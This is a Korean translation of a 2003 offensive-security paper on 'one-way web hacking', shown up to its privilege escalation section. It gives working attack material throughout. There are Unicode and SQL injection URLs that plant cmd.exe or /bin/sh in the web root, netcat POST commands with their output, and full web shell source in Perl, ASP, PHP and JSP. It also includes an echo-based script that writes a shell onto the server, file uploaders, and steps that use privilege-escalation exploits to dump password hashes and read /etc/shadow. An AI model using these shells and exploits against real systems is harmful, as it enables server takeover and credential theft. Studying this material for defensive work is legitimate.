One-way Web Hacking Saumil Shah saumil@net-square.com 8th December, 2003 번역 : 김지환 (forc1) forc1@naver.com Table of Contents 1.0 Introduction 1.1 Components of a generic web application system 1.2 URL mappings to the web application system 2.0 Flowchart for a one-way web hack 3.0 Finding the entry point 3.0.1 Exploiting URL parsing 3.0.2 Exploiting poorly validated input parameters 3.0.3 Exploiting SQL injection 3.1 Invoking the command interpreter 3.1.1 POSTing commands to CMD.EXE 3.1.2 POSTing commands to /bin/sh 3.1.3 Automating the POST process 4.0 Web based command prompt 4.0.1 Perl - perl_shell.cgi 4.0.2 ASP - cmdasp.asp 4.0.3 PHP - sys.php 4.0.4 JSP - cmdexec.jsp 4.1 Installing the Web based command prompt 4.1.1 create_cmdasp.bat 4.1.2 Re-creating arbitrary binary files 5.0 File uploader 5.0.1 ASP - upload.asp and upload.inc 5.0.2 Perl - upload.cgi 5.0.3 PHP - upload.php 6.0 One-Way Privilege Escalation 6.1 Windows/IIS privilege escalation 6.1.1 Uploading the Windows attack tools 6.1.2 idq.dll - privilege escalation 6.2 Linux/Apache privilege escalation 6.2.1 Uploading the Unix attack tools 6.2.2 ptrace1.c - privilege escalation 7.0 Web based SQL Command Prompts 7.1 Anatomy of an SQL command prompt - sqlquery.asp 7.2 An example - IIS and MS SQL server 7.3 Uploading sqlquery.asp 7.4 Pilfering the web application 7.5 Executing SQL queries via sqlquery.asp 7.6 Executing stored procedures 8.0 Concluding thoughts 9.0 References 1.0 Introduction "Necessity is the mother of invention" one-way 웹해킹은웹서버와어플리케이션서버를공격하고침투하기위한순수하게 http 트래픽에의존한공격기술이다. 이기술은웹어플리케이션공격을할때견고한방화벽과 SSL 은문제가되지않는다는걸증명하기위해나타났다. one-way 기술은오직유요한 HTTP request 과 HTTP response 만방화벽출입이허용된다는걸전제로한다.
제한적방화벽이있는손상된웹서버에임의의파일을업로드하는것이필요로하는상황에직면했을때, one-way 웹해킹에관한나의연구가 2000 년 4 월초에시작되었다. 그후, 다른많은기술들이개발되었고이모든기술의집합은 one-way 웹해킹방법론의창조를초래했다. one-way 웹해킹은 2001 년 Amsterdam 과 Las Vegas 에서의 Blackhat 브리핑과 Kuala Lumpur 의 HACK 2002 에서증명되었다. 1.1 Components of a generic web application system 웹어플리케이션시스템에는 4 가지요소가있다. 즉, 보통은브라우저를뜻하는웹클라이언트, fron-end 웹서버, 어플리케이션서버와어플리케이션의큰집합그리고데이타베이스서버가있다. 아래그림은각요소가어떻게상호작용하는지보여준다. 웹어플리케이션서버는어플리케이션로직, 오브젝트혹은컴파일된바이너리모두의역할을한다. front-end 웹서버는 HTML form 과 HTTP 를통해클라이언트로부터입력을받는바깥세계로향하는어플리케이션인터페이스로써의역할과 HTML 페이지폼에있는어플리케이션에의해발생된출력을전달하는역할을한다. 내부적으로, 어플리케이션은자료를전송하기위해 back-end 데이타베이스서버와접속한다. 방화벽은안으로들어오는 HTTP request 와밖으로나가는 HTML reply 를제외하곤빈틈없이설정되었다고가정한다. 1.2 URL mappings to the web application system 웹어플리케이션과상호작용하는동안, 브라우저와웹서버사이에서주고받는 URL 은다음과같은형식이다 : http:// server / path / application? parameters 다음그림은웹어플리케이션시스템에서 URL 의각부분이다양한지역과어떻게관련이있는지설명한다.
방화벽은프토토콜 (http or https) 의입출력만허용한다. server 와 path 부분은 front-end 웹서버에의해분석된다. URL 해석 (e.g unicode, double-decode) 에서발생하는몇몇취약점들은 server 와 URL path 를변경함으로써익스플로잇될수있다. application 은설정되거나등록된어플리케이션서버에의해실행된다. 이부분을변경하는것은어플리케이션서버의취약점을발생시키는익스플로잇을유발할지도모른다. (e.g. JSP servlet 핸들러를사용해서임의의파일을컴파일하거나실행함 ) 만약적절히확인되지않으면, parameter 는 application 에제공된다. 결과특이한취약점이발생할지도모른다. (e.g. open() 을호출하는 Perl 에파이프문자 " " 를넣음 ) parameter 가 SQL 데이타베이스쿼리의한부분으로사용된다면, 불완전한유효 parameter 는 SQL injection 공격을야기할지도모른다. (e.g. "xp_cmdshell" 같은저장프로시져를사용해서임의의명령을실행 ) 자세한설명은 " 웹해킹 : 공격과방어 " 의챕터 5 를참고하라. 2.0 Flowchart for a one-way web hack 공격자가웹어플리케이션의취약점을찾는곳과, 앞에서언급한기술들을사용하여익스플로잇할수있는예를생각하라. 공격자는방화벽의제한에도불구하고임의의명령을실행했지만, 네트워크속으로더나아가진행할수없다. 효과적인공격을위해 2 가지가필요하다. 1. 대화형터미날접근 - 공격한서버를도용하기 ( 훔치기 ) 위한명령어를실행하거나네트워크를더깊숙히침투하기위해 2. 파일전송접근 - 포트스캐너, 루트킷등의공격툴을전송하기위해 견고한방화벽은위의일을수행하기힘들게하지만불가능한건아니다. 이제한을피하기위해, 약간의웹어플리케이션프로그래밍지식만있으면웹기반명령프롬프트와파일업로더를만들수있다. 그전에앞으로할 one-way hack 의여러단계를미리알아볼것이다. 다음그림에설명되어있다.
3.0 Finding the entry point one-way 해킹은타겟웹서버에서원격명령실행이이루어질때시작한다. 웹서버를공격하기위해일반적인기술몇몇을사용할수있다. 앞에서말한 URL 매핑의다른타입에기반한원격명령어를실행하는다양한방법의예를보여줄것이다. 웹서버와어플리케이션취약점에관한자세한설명은이문서에서다루지않는다. 우리의목표는쉘인터프리터 (/bin/sh, cmd.exe 등 ) 를웹서버의 document root 의한지역으로이동시킴으로써백도어를만드는것이다. 이방법은, URL 을통해쉘인터프리터를불러낼수있다. 다양한익스플로잇기술을사용하여백도어를어떻게생성하는지설명하는 3 개의예를보여줄것이다. 아래그림은엔트리포인트를찾는데사용하는몇몇기술에대한설명이다.
3.0.1 Exploiting URL parsing Unicode / Double decode 공격은 URL 파싱취약점의전형적인예이다. 아래의 URL 은명령어인터프리터 (cmd.exe) 를웹서버내의 "scripts/" 디렉토리로복사한다. http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+ c:\winnt\system32\cmd.exe+c:\inetpub\scripts 3.0.2 Exploiting poorly validated input parameters 이예제에서, 검증되지않은파라미터는 URL 에서안전하지않은방법으로 open() 호출을사용하는 Perl CGI 스크립트 news.cgi 에전달된다 : http://www2.example.com/cgi-bin/news.cgi?story=101003.txt cp+/bin/sh+ /usr/local/apache/cgi-bin/sh.cgi 쉘 (/bin/sh) 은 cgi-bin 디렉토리에 sh.cgi 로복사되었다. 3.0.3 Exploiting SQL injection 여기서, 데이터베이스서버에서저장프로시저를불러내고저장프로시저를통해명령을실행시키기위해사용할수있는 SQL injection 방법을보여준다. http://www3.example.com/product.asp?id=5%01exec+master..xp_cmdshell+ 'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\' 3.1 Invoking the command interpreter 우리의목표는명령인터프린터나쉘을웹으로옮김으로써생성한백도어를 HTTP 를통해리모트로불러낼수있게하는것이다. HTTP POST 메소드는이목적에가장적합하다. POST 를사용하여, 입력데이타는표준입력을통해관려된자원에전달되고, 웹서버는표준출력에의해생성된출력을 HTTP 연결을통해리턴한다. 우리는 POST 를통애명령인터프리터에어떻게명령을보내는지 2 가지예를들어설명할것이다. 하나는 Windows NT IIS 에서의 CMD.EXE, 다른하나는 Linux Apache 에서의 sh.cgi(/bin/sh 를카피한거 ).
3.1.1 POSTing commands to CMD.EXE 아래의예는두개의명령어가 http://www1.example.com/scripts/cmd.exe 에접근할수있는 CMD.EXE 에서실행되는걸보여준다. POST 요청은파란글씨로써있다. $ nc www1.example.com 80 POST /scripts/cmd.exe HTTP/1.0 Host: www1.example.com Content-length: 17 ver dir c:\ exit HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Wed, 08 Dec 1999 06:13:19 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free
C:\Inetpub\scripts>exit $ 명령어를올바르게보내기위한 CMD.EXE 와 CMD.EXE 의출력을올바르게리턴하기위한웹서버를위해약간주의가필요하다. 위의예제에서, CMD.EXE 로의입력스트림을올바르게끝내는걸확실히하기위해 "exit" 명령어를포함했다. POST request 의 Content-length 는 "exit" 에의해여분의문자열을염두해서계산되었다. 3.1.2 POSTing commands to /bin/sh 아래의예는 http://www2.example.com/cgi-bin/sh.cgi 에서접근가능한 /bin/sh 에서작동하고있는 3 가지명령을보여준다. POST request 는파란글씨로써있다. $ nc www2.example.com 80 POST /cgi-bin/sh.cgi HTTP/1.0 Host: www2.example.com Content-type: text/html Content-length: 60 echo 'Content-type: text/html' echo uname id ls -la / exit HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:47:20 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002. drwxr-xr-x 19 root root 4096 Feb 2 2002.. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc
drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $ 아파치를통한 /bin/sh 의 care 와 feeding 은약간다르다. 아파치는모든 CGI 프로그램으로부터잘형성된 HTTP 응답해더를기대한다. 그러므로출력에 "Content-type: text/html" 라인을보내야만한다. 두개의 "echo" 명령어는이때문이다. ( 역자주 : care and feeding of /bin/sh over Apache 를어떻게해석해야할까.. -_-a) 3.1.3 Automating the POST process 우리는명령을위한적당한 POST request 와그것들을웹서버에보내는일을자동화하기위해두개의펄스크립트 post_cmd.pl 과 post_sh.pl 을만들었다. post_cmd.pl 에대한 syntax 는다음과같다. usage: post_cmd.pl url [proxy:port] < data By Saumil Shah (c) net-square 2001 post_cmd.pl takes all the data to be POSTed to the URL as standard input. Either enter the data manually and hit ^D (unix) or ^Z (dos) to end; or redirect the data using files or pipes post_cmd.pl 은 HTTP 프록시서버를통해 POST request 를터널링할수있도록쓰여졌다. post_sh.pl 도비슷하다. 아래의예는우리가직접 POST request 를하는것대신에펄스크립트를사용하는것과결과가같다는걸보여준다. Output of post_cmd.pl $./post_cmd.pl http://www1.example.com/scripts/cmd.exe ver dir c:\ ^D HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Wed, 08 Dec 1999 06:05:46 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A
Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit $ Output of post_sh.pl $./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi uname id ls -la / ^D HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:43:54 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002. drwxr-xr-x 19 root root 4096 Feb 2 2002.. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found
drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $ 이방법으로, HTTP POST request 를사용해서타겟웹서버에여러명령을보낼수있다. 이개념은웹서버에임의의파일은생성하는데쓰일것이다. 섹션 4.1 에서논의된다. 4.0 Web based command prompt 원격명령실행을수행한후, 타겟웹서버에대화형명령을실행할수있어야한다. 이것을하는일반적인방법은쉘을띄우거나타겟웹서버에 TCP 포트를바인드시키는거나, TCP listener 로쉘연결을띄우거나, 원격 X 디스플레이로 xterm 을실행시킨다. 그러나들어오는트래픽으로오직 HTTP request 와나가는트래픽으로 HTTP respond 만허용하는견고한방화벽에선이와같은기술은작동하지않는다. 우리는여기에이러한제한을피하는 " 웹기반명령프롬프트 " 의예를보여줄것이다. 웹기반의명령프롬프트는 HTML form 을통해 semi-interative 쉘터미널기능을제공한다. form 은 <INPUT> 필드로명령을받아들이고미리형식화된텍스트에출력결과를표시한다. 웹기반명령프롬프트가 semi-interative 인이유는현재작업디렉토리, 시스템환경등과같은터미널의상태를저장하기않기때문이다. 세션기반의 HTML form 에서실행될수있지만이문서에서다루지않는다. 웹기반명령프롬프트에의해실행된명령은웹서버프로세서권한임을가정한다. 전형적으로, 아파치가실행중인유닉스시스템에서 uid 는 "nobody" 고, IIS 가실행중인 windows 시스템에서의권한은 "IUSR_machinename" 혹은 "IWAM_machinename" 이다. 아래에웹기반명령프롬프트의네가지예제가있다. 4.0.1 Perl - perl_shell.cgi Perl 과 cgi-lib.pl 을사용하는다음의스크립트는 semi-interative 웹기반의명령프롬프트를제공한다. #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n"; print "<INPUT NAME=cmd TYPE=TEXT>\n"; print "<INPUT TYPE=SUBMIT VALUE=Run>\n"; print "</FORM>\n"; &ReadParse(*in); if($in{'cmd'} ne "") { print "<PRE>\n$in{'cmd'}\n\n";
print `/bin/bash -c "$in{'cmd'}"`; print "</PRE>\n"; } 4.0.2 ASP - cmdasp.asp 다음의 ASP 스크립트는 IIS 가실행중인 windows 서버에대한웹기반명령프롬프트다. cmdasp.asp 는 Maceo(maceo at dongmile.com) 가만든원본스크립트의수정된버젼이다. <% %> Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile On Error Resume Next Set oscript = Server.CreateObject("WSCRIPT.SHELL") Set oscriptnet = Server.CreateObject("WSCRIPT.NETWORK") Set ofilesys = Server.CreateObject("Scripting.FileSystemObject") szcmd = Request.Form(".CMD") If (szcmd <> "") Then sztempfile = "C:\" & ofilesys.gettempname( ) Call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, True) Set ofile = ofilesys.opentextfile (sztempfile, 1, False, 0) End If <FORM action="<%= Request.ServerVariables("URL") %>" method="post"> <input type=text name=".cmd" size=45 value="<%= szcmd %>"> <input type=submit value="run"> </FORM>
<PRE> <% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) ofile.close Call ofilesys.deletefile(sztempfile, True) End If %> </PRE> 다른 ASP 기반의명령프롬프트스크립트를통한이스크립트의이점은쉘명령을실항하기위해등록되야할 COM 콤포넌트가필요없다는사실이다. 관리자권한역시필요없다. 4.0.3 PHP - sys.php PHP 로웹기반쉘을만드는건매우간단하다. 다음의스크립트는 PHP 로웹기반쉘을설명한다. <FORM ACTION="sys.php" METHOD=POST> Command: <INPUT TYPE=TEXT NAME=cmd> <INPUT TYPE=SUBMIT VALUE="Run"> <FORM> <PRE> <?php if(isset($cmd)) { system($cmd);
}?> <PRE> 4.0.4 JSP - cmdexec.jsp 다음의 JSP 코드는자바서버페이지를지원하는 J2EE 어플리케이션서버에대한웹기반명령프롬프트다. <FORM METHOD=GET ACTION='cmdexec.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getparameter("cmd"); String output = ""; if(cmd!= null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader si = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = si.readline())!= null) { output += s; } } catch(ioexception e) { e.printstacktrace(); } } %> <pre> <%=output %> </pre> (Thanks to Shreeraj Shah for cmdexec.jsp) 실행되기위해 native OS 명령을허락하는어떤웹어플리케이션프로그래밍언어는웹기반명령프롬프트를만들수있다.
4.1 Installing the Web based command prompt 원격명령실행을사용하여, 우리는 "echo" 같은명령을수행하거나출력을파일로리다이렉트할수있다. 다양한 "echo" 명령어를사용하여, 원격웹서버에단번에한라인의파일을생성할수있다. 여기서선행조건은타겟웹서버에기록할수있는디렉토리가필요하다는거다. 4.1.1 create_cmdasp.bat 다음은섹션 4.0.2 에서보연준 cmdasp.asp 파일을재현 (recreate) 하기위해 Windows DOS 프롬프트에서실행될수있는명령어 set 이다. echo ^<^% > cmdasp.asp echo Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp echo Set oscript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp echo Set oscriptnet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp echo Set ofilesys = Server.CreateObject(^"Scripting.FileSystemObject^") >> cmdasp.asp echo szcmd = Request.Form(^".CMD^") >> cmdasp.asp echo If (szcmd ^<^> ^"^") Then >> cmdasp.asp echo sztempfile = ^"C:\^" & ofilesys.gettempname() >> cmdasp.asp echo Call oscript.run(^"cmd.exe /c ^" ^& szcmd ^& ^" ^> ^" ^& sztempfile,0,true) >> cmdasp.asp echo Set ofle = ofilesys.opentextfile(sztempfile,1,false,0) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"post^"^> >> cmdasp.asp echo ^<input type=text name=^".cmd^" size=70 value=^"^<^%= szcmd ^%^>^"^> >> cmdasp.asp echo ^<input type=submit value=^"run^"^> >> cmdasp.asp echo ^</FORM^> >> cmdasp.asp echo ^<PRE^> >> cmdasp.asp echo ^<^% >> cmdasp.asp echo If (IsObject(oFile)) Then >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp echo ofile.close >> cmdasp.asp echo Call ofilesys.deletefile(sztempfile, True) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<^/PRE^> >> cmdasp.asp 위의명령들은타겟웹서버에서 "cmdasp.asp" 파일을생성하기위해 post_cmd.pl 과같은스크립트를통해실행될수있다. 같은방법으로, 어떤임의의텍스트파일은 "echo" 같은명령을사용하는서버에서재현할수있다. &, ", <, >,, %, 등과같은쉘메타문자는적정할탈출문자로적절하게 escape 되야한다. 대부분의유닉스쉴에서탈출문자는 "/" 이고, Windows 명령쉘에서의탈출문자는 "^" 이다. 다른웹기반명령프롬프트는같은방법으로타겟웹서버에서재현될수있다. 4.1.2 Re-creating arbitrary binary files
유닉스 Bourne shell 같은쉘에서, "\xhh" 형식을사용하여파일에임의의문자열을쓰기위해 "echo" 명령을사용하는게가능하다. HH 에는두개의 16 진수가들어간다. 바이너리파일은다음과같은 16 진수두개의문자열로표현된다. echo -e "\x0b\xad\xc0\xde\x0b\xad\xc0\xde\x0b\xad\xc0\xde" > file CMD.EXE 가임의의문자를쓸수없다고하더라도 Windows 에서임의의파일을재현하는것또한가능하다. 임의의바이너리파일을만들기위해스크립트나 non-interactive 모드가있는 DEBUG.EXE 를이용해서속인다. 5.0 File uploader 타켓웹서버에서명령을실행할수있게하기위해추가적으로, 공격자는웹서버안으로파일을전송하는쪽으로관심를가져야한다. FTP, NFS, NetBIOS 등과같은보통의기술은방화벽이이것들을막기때문에작동하지않는다. 이장애물을피하기위해선, 우리는파일업로더를만들어야한다. 섹션 4.1.2 에언급된이기술은큰파일에대해선매우느릴수있다. 더좋은선택이있긴하지만... HTTP POST Multipart-MIME 메소드를이용해서파일업로드가가능하다. 파일의내용은 HTTP POST request 로서버에전달된다. 서버에서, 업로드스크립트가이내용들을받고파일에저장한다. HTTP Multipart-MIME POST request 에대한자세한설명은이문서에서다루지않는다. 파일을업로드하기위해선, 웹서버프로세스 (nobody, IUSR_machinename, IWAM_machinename, etc ) 가파일을생성하거나쓸수있는권한을가진디렉토리가필요하다. 아래는업로드스크립트에관한 3 가지예제다. 5.0.1 ASP - upload.asp and upload.inc 다음의두개의파일에는 HTTP POST Multipart-MIME 데이터를받고그것을저장하기위한코드가있다. ASP 에는 Multipart-MIME 인코드된데이터를디코딩하기위한 built-in 루틴이없다. 그러므로루틴을지원하는추가의파일 (upload.inc) 이필요하다. upload.asp <form method=post ENCTYPE="multipart/form-data"> <input type=file name="file1"> <input type="submit" Name="Action" value="upload"> </form> <hr> <!--#INCLUDE FILE="upload.inc"--> <% If Request.ServerVariables("REQUEST_METHOD") = "POST" Then End If %> Set Fields = GetUpload() If Fields("File1").FileName <> "" Then End If Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName Response.Write("<LI>Upload: " & Fields("File1").FileName) 관련파일 (upload.inc) 의소스코드는여기서찾을수있다.
5.0.2 Perl - upload.cgi Perl 과 cgi-lib.pl 을사용해서, 업로더스크립트를생성하는건쉽다. 다음예제에서어떻게하는지보여준다. #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<form method='post' enctype='multipart/form-data' action='upload.cgi'>\n"; print "File path: <input type=file name=upfile>\n"; print "<input type=submit value=upload></form>\n"; &ReadParse; 5.0.3 PHP - upload.php PHP 로업로더를만드는것은매우간단하다. <FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST> <INPUT TYPE="hidden" name="max_file_size" value="10000000"> <input type="file" name="userfile" size="30"> <INPUT TYPE="submit" VALUE="upload"> </FORM> <?php
if($userfile_name!= "") { copy("$userfile", "./$userfile_name") or die("couldnt copy file"); echo "File name: $userfile_name<br>\n"; echo "File size: $userfile_size bytes<br>\n"; echo "File type: $userfile_type<br>\n"; }?> 우리는 HTTP 를통해명령을실행시킬수있고파일을쉽게업로드한다. 우리는타겟웹서버에원하는건무엇이든할수있다. 다음과같은것들이가능하다. 웹서버에있는소스코드나설정파일을발견함 타겟웹서버와관련있는내부네트워크를발견함 웹서버에공격툴을업로드하고그것을실행함... and much more 웹서버프로세스가권한을확장하는데제한이있기때문에, 다음단계는권한상승을시도하는것이다. 다음섹션은이것에대해설명한다. 6.0 One-Way Privilege Escalation 섹션 4.0 에서언급한웹기반명령프롬프트는실행될동안프로세스권한을상속받는다. 보통, 웹서버프로세스가높은권한으로실행되고있지않다면, 권한은사용자레벨권한에의해제한된다. 소수의어플리케이션서버는높은권한으로실행한다. 대부분의경우, 웹기반명령프롬프트와 HTTP 파일업로더를설치한후, 더깊이침투하기위한권한상승의몇몇방법이필요하다. 권한상승공격은특별한게없다. 슈퍼유저나더높을권한의유져로권한을상승시키는여러운영체제에관한익스플로잇이많이있다. 대부분의권한상승공격은 one-way 공격기술로적합하다. 권한상승공격의자세한설명은이문서에서다루지않는다. 우리는권한상승공격의두가지예를설명할것이다. Windows 와 IIS 플렛폼에대한 "Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability", Linux 와 Apache 플렛폼에대한 "Linux Ptrace/Setuid Exec Vulnerability" 권한상승익스플로잇은비대화형 (non-interactively) 으로실행됨을주의해야한다. 예를들어, 그것은대화식 (interactively) 쉘, 터미널, GUI 콘솔등이필요없다. 이예제에서, 우리는 one-way 사용에대해적합하게하기위해 Linux ptrace 익스플로잇을수정해야한다. 6.1 Windows/IIS privilege escalation IIS 5.0 가실행중인 Windows 20000 서버인 www1.example.com 의경우를보자. 이미손상되었고, 섹션 5.0.1 에나온파일업로더스크립트 upload.asp 가서버에깔려있다고가정할것이다. 6.1.1 Uploading the Windows attack tools 이제섹션 4.0.2 에서설명된웹기반명령프롬프트 (cmdasp.asp) 와두개의바이너리파일 (idq.dll, pwdump.exe) 을추가로업로드할것이다. idq.dll 은 Microsoft IIS 5.0 In-Process 테이블권한상승취약점을이용한권한상승익스플로잇이다. 그것은관리자그룹에 IUSR_machinename 과 IWAM_machinename 계정을추가한다. 모든프로세스와어플리케이션에관리자권한을준것은 ( 웹기반명령프롬프트를포함해서 ) IIS 프로세스아래에서실행된다. pwdump.exe 는패스워드해쉬를덤프하기위한바이너리고, 실행을위해서관리자권한이필요하다. 아래스크린샷은 www1.example.com 에업로드하고있는세개의바이너리파일을보여준다.
아래에보이는것처럼, 파일이성공적으로업로드되었는지 cmdasp.asp 로 "dir" 명령을실행함으로써확인할수있다. 이제아래그림에서같이 "net localgroup administrators" 명령을내림으로써관리자그룹의맴버를확인할것이다.
관리자그룹의맴버는 Administrator 뿐이다. 6.1.2 idq.dll - privilege escalation 다음단계는 IUSR_machinename 과 IWAM_machinename 계정의권한을상승시키기위해서 idp.dll 을불러내는것이다. 프로세스는매우간단하다. 다음의 URL 은 웹서버에서접근되야한다. 결과가출력되지않는다. 그대신에잠시후연결은중단된다. 이것은공격이거의성공했음을암시한다. 공격이정말로성공했는지확인하기위해, 아래그림과같이관리자그룹의맴버를다시한번확인할것이다. IUSR_W2KVM 과 IWAM_W2KVM 계정은이제관리자그룹맴버이다. 따라서아래그림에서 pwdump.exe 바이너리실행함으로써증명되기때문에 cmdasp.asp 를통해실행된모든명령은관리자권한이라가정한다.
이제 www1.example.com 의모든관리제어권을가지고있다. 6.2 Linux/Apache privilege escalation 이예제를위해, 2.4 커널과 Apache 1.3.27 이실행중인리눅스서버 www2.example.com 를볼것이다. 앞의예제와같이, 이미손상되었고파일업로더스크립트 upload.cgi 가이서버에설치되었다고가정한다. 6.2.1 Uploading the Unix attack tools 이서버를위해, 우리는섹션 4.0.1 에서설명된웹기반명령프롬프트 (shell.cgi) 와다른파일 (ptrace1.c) 를업로드할것이다. ptrac1.c 는리눅스기반의 Ptrace/Setuid 실행취약점권한상승익스플로잇이다. 그익스플로잇은 one-way 사용에적합하게하기위해약간수정되었다. 성공적으로실행되었을때, 익스플로잇은 /bin/bash 에소유자가 root 인 setuid 퍼미션을적용시킨다. 이것은슈퍼유저권한으로실행하기위해 /bin/bash 를통한쉘명령의실행을일으킨다. 웹기반명령프롬프트 (shell.cgi) 는내부적으로 /bin/bash 를불러내고, 따라서 shell.cgi 를통한모든실행된명령은 root 유져로실행될것이다. 수정된 ptrace 익스플로잇의소스코드는여기서구할수있다. 아래의스크린샷은 www2.example.com 에업로드되고있는두개의파일을보여준다. 이제 ptrace1.c 를컴파일하고올바르게컴파일됐는지확인할것이다. 또한현재권한을확인할것이다. 아래스크린샷은다음의명령이 shell.cgi 를통해실행되는걸보여준다. gcc -o ptrace1 ptrace1.c ls -la id
shell.cgi 의권한은 "nobody" 사용자다. 6.2.2 ptrace1.c - privilege escalation 다음단계는 /bin/sh 에 setuid 퍼미션을적용할수있는지보기위해 ptrace1 을실행하는걸시도하는것이다. 익스플로잇 ptrace1.c 은내부적으로다음의명령을실행시킨다. /bin/chmod 4755 /bin/bash 아래의스크린샷은 ptrace1 이실행되고 /bin/sh 에대한파일리스팅하는걸보여준다. 물론충분한, /bin/bash 바이너리는그것에적용된 setuid 퍼미션이있다. 다음스크린샷은실행되고있는두개의명령을보여준다. id cat /etc/shadow
